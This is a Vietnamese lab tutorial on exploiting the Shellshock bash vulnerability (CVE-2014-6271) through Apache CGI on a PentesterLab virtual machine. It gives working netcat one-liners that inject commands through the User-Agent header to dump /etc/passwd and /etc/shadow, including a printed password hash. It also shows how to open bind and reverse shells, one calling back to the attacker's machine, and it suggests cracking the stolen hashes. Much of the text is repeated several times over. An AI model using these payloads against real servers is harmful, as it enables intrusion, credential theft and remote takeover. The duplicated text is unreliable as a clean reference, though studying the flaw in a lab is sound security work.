Lỗ hổng Shellshock cho phép attackers thực hiện các lệnh bash từ xa mà không phải xác thực
1. Lỗ hổng shellshock
Lỗ hổng trên hệ điều hành Linux, cho phép attackers có thể thực thi trái phép các lệnh bash từ xa mà không phải qua bất cứ quá trình xác thực nào.
Bài viết sẽ tập trung vào Shellshock CVE-2014-6271 Apache mod_cgi - Remote Exploit
Ngoài CVE-2014-6271, Shellshock còn có những phiên bản như CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187
2. Cơ chế hoạt động
Khi một web server sử dụng CGI để xử lý một request, nó truyền các thông tin có trong request tới chương trình xử lý sử dụng các biến môi trường. Ví dụ, biến HTTP_USER_AGENT thông thường chứa tên chương trình gửi request đến web server. Nếu trình xử lý request là một Bash script, hoặc nếu nó thực thi một lệnh nào đó ví dụ như việc sử dụng system call, Bash sẽ nhận vào các biến môi trường được truyền vào bởi server và xử lý chúng. Kẻ tấn công sử dụng phương thức này để kích hoạt tấn công Shellshock với một request đặc biệt tới server.
Lỗ hổng trên hệ điều hành Linux, cho phép attackers có thể thực thi trái phép các lệnh bash từ xa mà không phải qua bất cứ quá trình xác thực nào.
Bài viết sẽ tập trung vào Shellshock CVE-2014-6271 Apache mod_cgi - Remote Exploit
Ngoài CVE-2014-6271, Shellshock còn có những phiên bản như CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187
2. Cơ chế hoạt động
Khi một web server sử dụng CGI để xử lý một request, nó truyền các thông tin có trong request tới chương trình xử lý sử dụng các biến môi trường. Ví dụ, biến HTTP_USER_AGENT thông thường chứa tên chương trình gửi request đến web server. Nếu trình xử lý request là một Bash script, hoặc nếu nó thực thi một lệnh nào đó ví dụ như việc sử dụng system call, Bash sẽ nhận vào các biến môi trường được truyền vào bởi server và xử lý chúng. Kẻ tấn công sử dụng phương thức này để kích hoạt tấn công Shellshock với một request đặc biệt tới server.
II. Cài đặt lab
Tải file iso từ https://www.pentesterlab.com/exercises/cve-2014-6271/ và cài đặt lên máy ảo
Thiết lập mạng bridge hoặc host only cho máy ảo
Tải file iso từ https://www.pentesterlab.com/exercises/cve-2014-6271/ và cài đặt lên máy ảo
Thiết lập mạng bridge hoặc host only cho máy ảo
III. Thực hành
Scan lỗ hổng bằng nikto
nikto cho result
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
Khai thác lấy thông tin từ server:
Lấy thông tin từ file passwd
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: <IP>\r\nConnection: close\r\n\r\n" | nc <IP> 80
Trong đó <IP> là IP server dính lỗ hổng (IP máy ảo)
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
Khai thác lấy thông tin từ server:
Lấy thông tin từ file passwd
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: <IP>\r\nConnection: close\r\n\r\n" | nc <IP> 80
Trong đó <IP> là IP server dính lỗ hổng (IP máy ảo)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: <IP>\r\nConnection: close\r\n\r\n" | nc <IP> 80
Ta lấy được thông tin:
Ta lấy được thông tin:
HTTP/1.1 200 OK
Date: Sat, 29 Oct 2016 09:10:16 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: x:0:0:root:/root:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/false
tc: x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab: x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
Content-Length: 177
Connection: close
Content-Type: application/json
Date: Sat, 29 Oct 2016 09:10:16 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: x:0:0:root:/root:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/false
tc: x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab: x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
Content-Length: 177
Connection: close
Content-Type: application/json
Ta tiếp tục lấy thông tin từ file /etc/shadow
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/shadow)\r\nHost: 192.168.1.157\r\nConnection: close\r\n\r\n" | nc 192.168.1.157 80
HTTP/1.1 200 OK
Date: Sat, 29 Oct 2016 09:13:25 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: *:13525:0:99999:7:::
lp: *:13510:0:99999:7:::
nobody: *:13509:0:99999:7:::
tc: :13646:0:99999:7:::
pentesterlab: $1$yN4NnWo7$xfRT1i1pDL6qqX/wsE0Cx/:17103:0:99999:7:::
Content-Length: 177
Connection: close
Content-Type: application/json
Date: Sat, 29 Oct 2016 09:13:25 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: *:13525:0:99999:7:::
lp: *:13510:0:99999:7:::
nobody: *:13509:0:99999:7:::
tc: :13646:0:99999:7:::
pentesterlab: $1$yN4NnWo7$xfRT1i1pDL6qqX/wsE0Cx/:17103:0:99999:7:::
Content-Length: 177
Connection: close
Content-Type: application/json
Từ 2 file này, ta có thể dùng các phần mềm crack password để lấy password của quản trị viên
Kiểm soát victim bằng netcat
Cách 1: mở 1 port trên máy victim (bind)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p <port> -e /bin/sh\r\nHost: <IP>\r\nConnection: close\r\n\r\n" | nc <IP> 80
Sau đó ta thực hiện kết nối đến máy nạn nhân bằng lệnh
nc <IP> <port>
Cách 1: mở 1 port trên máy victim (bind)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p <port> -e /bin/sh\r\nHost: <IP>\r\nConnection: close\r\n\r\n" | nc <IP> 80
Sau đó ta thực hiện kết nối đến máy nạn nhân bằng lệnh
nc <IP> <port>
(terminal sẽ không hiện bất cứ thông báo nào cho thấy máy tính đã được kết nối thành công)
Cách 2: tạo listener trên máy mình và để victim kết nối ngược (reverse)
Đầu tiên, ta sẽ tạo 1 listener trên máy bằng lệnh
Đầu tiên, ta sẽ tạo 1 listener trên máy bằng lệnh
nc -l -p <port>
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc <my_IP> <my_port> -e /bin/sh\r\nHost: <IP>\r\nConnection: close\r\n\r\n" | nc <IP> 80
Huyết MA
Nguồn: pentesterlab